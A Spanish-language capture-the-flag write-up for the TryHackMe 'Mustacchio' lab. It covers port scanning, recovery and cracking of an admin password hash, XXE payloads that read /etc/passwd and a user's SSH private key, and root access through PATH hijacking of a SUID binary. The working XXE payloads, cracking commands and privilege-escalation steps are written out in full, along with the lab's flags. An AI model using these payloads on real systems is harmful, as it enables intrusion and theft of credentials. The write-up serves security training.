// TryHackMe — CTF Writeup

MUSTACCHIO

#linux #web #XXE #path-hijacking
// 01

RECONOCIMIENTO — Escaneo de puertos

Lo primero es descubrir qué superficie de ataque tiene el objetivo. Se lanza un escaneo completo de puertos para no dejar nada sin revisar.

escaneo inicial
nmap -p- -T5 <IP> -oG allPorts

Se encuentran tres puertos abiertos. El puerto 8765 es desconocido, así que se profundiza con detección de versiones y scripts:

escaneo profundo
nmap -p22,80,8765 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
PUERTO ESTADO SERVICIO VERSIÓN
22/tcp OPEN SSH OpenSSH 7.2p2
80/tcp OPEN HTTP Apache 2.4.18
8765/tcp OPEN HTTP nginx 1.10.3
Resultado
El puerto 8765 resulta ser un segundo servicio web corriendo en nginx. Objetivo de enumeración adicional.
// 02

ENUMERACIÓN — Fichero users.bak

Se lanza gobuster contra el servicio web del puerto 80 para descubrir rutas ocultas:

fuzzing de directorios
gobuster dir -u "http://<IP>/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,txt,html,js

Entre los resultados aparece el directorio /custom, desde donde es posible descargar un fichero llamado users.bak. Un simple cat no revela nada útil, pero file identifica su naturaleza:

users.bak: SQLite 3.x database, last written using SQLite version 3034001

Se renombra a users.sql y se inspecciona con sqlite3:

extracción de credenciales
sqlite3 users.sql sqlite> .tables users sqlite> SELECT * FROM users; admin|1868e36a6d2b17d4c2745f1659433a54d4bc5f4b
Credenciales encontradas
Usuario admin con hash SHA1. Se crackea con john y rockyou.txt obteniendo la contraseña: bulldog19
cracking del hash
john --wordlist=/usr/share/wordlists/rockyou.txt admin_hash.txt

Con estas credenciales se accede al panel de administración en el puerto 8765, que presenta un formulario para añadir comentarios en formato XML.

// 03

XXE INJECTION — Lectura de ficheros

El panel acepta XML y refleja el contenido en la respuesta. Esto lo hace potencialmente vulnerable a XML External Entity (XXE). Primero se comprueba que el XML básico se procesa correctamente, luego se inyecta una entidad externa maliciosa:

payload xxe — /etc/passwd
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE comment [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <comment> <name>&xxe;</name> <author>Author</author> <com>test</com> </comment>

La respuesta devuelve el contenido de /etc/passwd. Revisando el código fuente de la página se encuentran dos pistas clave:

<!-- Barry, you can now SSH in using your key!--> //document.cookie = "Example=/auth/dontforget.bak";

El usuario barry tiene una clave SSH privada. Se extrae con XXE:

payload xxe — clave privada SSH
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE comment [ <!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa"> ]> <comment> <name>&xxe;</name> <author>Author</author> <com>test</com> </comment>
Clave RSA obtenida
La clave está cifrada (AES-128-CBC). Se usa ssh2john + john para obtener la passphrase. Además, la clave tenía un espacio extra al inicio del fichero que impedía su uso — se elimina con sed -i '1s/^ //' id_rsa.
cracking de la passphrase
ssh2john id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
acceso SSH
chmod 600 id_rsa ssh -i id_rsa barry@<IP>
USER FLAG 62d77a4d5f97d47c5aa38b3b2651b831
// 04

PRIVILEGE ESCALATION — PATH Hijacking

En el directorio del usuario joe existe un binario con bit SUID llamado live_log que muestra logs de nginx en tiempo real. Se analiza con strings:

Live Nginx Log Reader tail -f /var/log/nginx/access.log
Vulnerabilidad
El binario llama a tail usando ruta relativa, lo que permite sustituirlo con un ejecutable malicioso manipulando la variable $PATH.

Se crea un binario falso llamado tail en /tmp que lanza una bash con privilegios, se añade /tmp al inicio del PATH y se ejecuta el binario SUID:

explotación — path hijacking
echo '/bin/bash -p' > /tmp/tail chmod +x /tmp/tail export PATH=/tmp:$PATH cd /home/joe ./live_log
root@mustacchio:/home/joe# whoami root
ROOT FLAG 3223581420d906c4dd1a5f9b530393a5
// RESUMEN

CADENA DE ATAQUE

01
Enumeración Web
Gobuster descubre /custom con el fichero users.bak (SQLite con credenciales admin)
02
Cracking de credenciales
Hash SHA1 crackeado con john → admin:bulldog19 → acceso al panel XML en :8765
03
XXE Injection
Parser XML vulnerable permite leer ficheros del servidor → se extrae la clave SSH privada de barry
04
Acceso SSH
Passphrase crackeada con ssh2john → shell como barry → flag de usuario
Root via PATH Hijacking
Binario SUID live_log llama a tail con ruta relativa → /tmp/tail malicioso → shell de root